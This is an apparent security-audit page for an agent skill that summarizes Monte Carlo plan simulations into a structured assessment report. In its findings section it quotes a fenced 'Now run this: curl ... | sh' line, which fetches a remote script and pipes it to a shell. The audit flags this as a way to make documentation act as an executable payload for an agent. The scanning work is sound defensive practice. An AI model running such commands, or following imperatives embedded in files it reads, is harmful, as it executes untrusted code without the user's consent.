summarize-assessment — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited summarize-assessment (Agent Skill) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 1 flagged
A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.
text (not bash) so it reads as prose, not a command.```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```See INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
A thin wrapper around experiments/napkin_math/summarize_assessment.py. The script reads the pipeline artifacts and emits assessment.md next to them. The output is an interpretation layer: it tells the next reader of this directory what the simulation tested, which gates fail or pass, which inputs drive the result, which assumptions remain unvalidated, and what to inspect next. The raw distributions live in montecarlo.json; assessment.md references them via the provenance map rather than reproducing them.
montecarlo.json and the user wants a verdictNot for: producing the simulation itself (monte-carlo), running scenarios (run-scenarios), or extracting parameters from a report.
parameters.json. Optional but recommended: bounds.json, scenarios.json, montecarlo.json. validation.json and montecarlo_settings.json are picked up automatically from the same directory if present. The script degrades gracefully if any optional file is missing — it just omits that section. If parameters.json is missing, ask. /opt/homebrew/bin/python3.11 experiments/napkin_math/summarize_assessment.py \
--parameters <path>/parameters.json \
--bounds <path>/bounds.json \
--scenarios <path>/scenarios.json \
--montecarlo <path>/montecarlo.json \
[--output <path>/assessment.md]Default output: <dir-of-parameters>/assessment.md. The script prints the output path on stdout.
assessment.md and quote the gate-verdict rows and critical-findings bullets verbatim — don't paraphrase.Verdicts come from the user's own threshold definitions in the Monte Carlo settings. No identifier-string or unit-string interpretation — domain-bias-free.
Each threshold has an operator (>=, <=, etc.) and a value. The user wrote the threshold because they want it to pass. The verdict is the pass probability in the simulation:
| Band | Pass probability | Verdict | Note |
|---|---|---|---|
| ≥ 80% | strong majority | Robust | passes in the strong majority of runs |
| 50–80% | uncomfortable | Marginal | passes more often than not but uncomfortably close |
| 20–50% | minority pass | Fragile | fails in the majority of runs |
| < 20% | rarely passes | Critical | rarely passes under current bounds |
Any output classified Critical or Fragile also gets a "bottom line" callout at the top of the report.
The script does not invent thresholds for outputs the user did not declare. To get a verdict on an output, declare a threshold on it in the Monte Carlo settings file.
assessment.md is written to be consumed by the next program or process that touches this directory — a downstream pipeline stage, a planning loop, a follow-on extractor, a future invocation of this same workflow. A human can also read it, but the writing optimises for token-density of useful signal over engagement hooks. The output describes what the file is (an interpretation layer over the simulation artifacts); it does not label its audience.
What that means concretely:
## Critical findings, ## Gate verdicts, ## Failure drivers, ## Suggested next actions). No colorful or narrative-flavoured headings.These are not stylistic preferences. They are how this skill is meant to communicate.
## Critical findings. It consolidates every signal that the plan does not survive its own assumptions: Critical and Fragile thresholds, scenario warnings, numbers the model could not compute, and inputs the plan does not supply at all. If nothing qualifies, the section is omitted entirely — silence is the only acceptable form of good news.the honest read is, frankly, to be fair, in fairness, candidly, let's be real, look, the truth isThese imply the default mode is dishonest or evasive. State the claim directly.
**Critical** — rarely passes under current bounds, report it as Critical — rarely passes under current bounds. Don't summarise it as "this one is concerning". The verdict bands are precise and load-bearing.Order is deliberate. Stable section names — programmatic consumers retrieve by heading text, so the headings stay the same regardless of plan domain:
assessment_schema_version (currently 6), artifact_type, plan_name, artifact_set (version / plan_slug / relative_dir — the portable identifier), source_plan_dir (absolute path; local-only), primary_model_result (a structured object: overall_risk_band ∈ doom/fragile/marginal/viable/unknown, basis — a one-line disclaimer that the band reflects the worst declared gate's pass-rate band and is not a calibrated whole-plan probability, reason, worst_gate, worst_gate_pass_rate), validation_status, simulation (n_runs/seed/distribution_default), primary_failed_gates, primary_uncertainty_drivers, known_unmodelled_existential_gates (flat list of ids the extractor flagged as existential but unmodelable; empty when none), assessment_scope_warning (string when the unmodelled list is non-empty, null when empty — a one-line warning to programmatic consumers that the simulation is partial), do_not_treat_as, schema_notes (allowed enums for overall_risk_band, verdict, basis, threshold_basis, plus the primary_model_result_semantics disclaimer). The basis_enum is intentionally wider than what the current pipeline emits (report_derived, model_assumption) — it reserves report_explicit, report_inferred, external_reference, manual_override, unknown for future provenance types. JSON, not YAML — that is intentional.extract_parameters_input.md, then parameters/bounds/calculations/scenarios/scenario_outputs/montecarlo_settings/montecarlo/validation.parameters.plan_summary.modelling_frame. When parameters.unmodelled_gates is non-empty, this section gains a bold Note caveat naming the count of unmodelled existential gates and telling the reader the gate-verdict pass rates are conditional on those gates holding.parameters.unmodelled_gates is empty or absent.parameters.unmodelled_gates is non-empty, a SCOPE WARNING bullet leads the section naming the unmodelled gate labels and pointing at the dedicated section. Then: Critical gates, Fragile gates, scenario warnings, numbers the model could not compute (≥5% blank runs), still-missing inputs. Section omitted entirely when nothing qualifies.min marker on aggregate gates. Columns: marker, output, condition, threshold basis (report_explicit / report_inferred / model_defined / unknown — derived from the corresponding key_value's value_type), pass rate, verdict, meaning. Includes an ### Aggregation warning sub-section when the thresholds use incompatible units and the plan declares no min() aggregate.quartile_analysis with the direction implied by its sign of Δ-pp), Gate meaning (the gate's own rationale lifted from parameters.recommended_first_calculations[].why_first or derived_questions[].why_it_matters, plus the threshold parameter the formula tests against). The Gate-meaning column surfaces plan-specific framing without inventing tactical advice; concrete revisions should be derived by reading the source report and the relevant intermediary artifacts.quartile_analysis (max abs Δ-pp) and the conditional input restriction from required_input_thresholds that would lift the gate to 80%. Binding-gate frequencies for aggregates appear as bullets below the table.missing_value_priority table. The Basis column translates the bounds.json source label (data → report_derived, assumption → model_assumption) so it isn't mistaken for empirically observed real-world data.validation.json checks_performed), Not validated (a canonical list: real-world accuracy of bounds, independence assumptions, external feasibility, factual truth of source claims), Per-output confidence (HIGH/MEDIUM/LOW grade table from model_confidence). The grade-table column is Declared-source inputs — the share of input bounds anchored in the source report's narrative; the rest are modelling assumptions. Neither is empirical real-world data.Low inputs / Base inputs / High inputs, matching the keys in scenarios.json.| Mistake | Fix |
|---|---|
Running before montecarlo.json exists | Gate verdicts, failure drivers, and the machine summary's primary_model_result all depend on simulation output. Run the Monte Carlo stage first. |
| Reading the markdown and paraphrasing the gate verdicts | Quote them. The cutoff bands and phrasing are deliberate. |
| Treating the machine summary as authoritative without reading the prose | The JSON manifest is a compact pointer, not a proof. The aggregation warning, trust boundaries, and failure-driver rows are load-bearing context. |
| Treating a Marginal verdict as good news | Marginal means "passes in 50–80% of runs" — that's the same as "fails up to 50% of the time". |
| Inventing a threshold to make a number look good | Thresholds reflect the user's success criteria. Don't fabricate them after the fact. |
experiments/napkin_math/summarize_assessment.py../monte-carlo/SKILL.md, ../run-scenarios/SKILL.md, ../generate-bounds/SKILL.md, ../extract-parameters-from-full/SKILL.md, ../extract-parameters-from-digest/SKILL.mdassessment.md under experiments/napkin_math/output/<version>/<plan>/~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.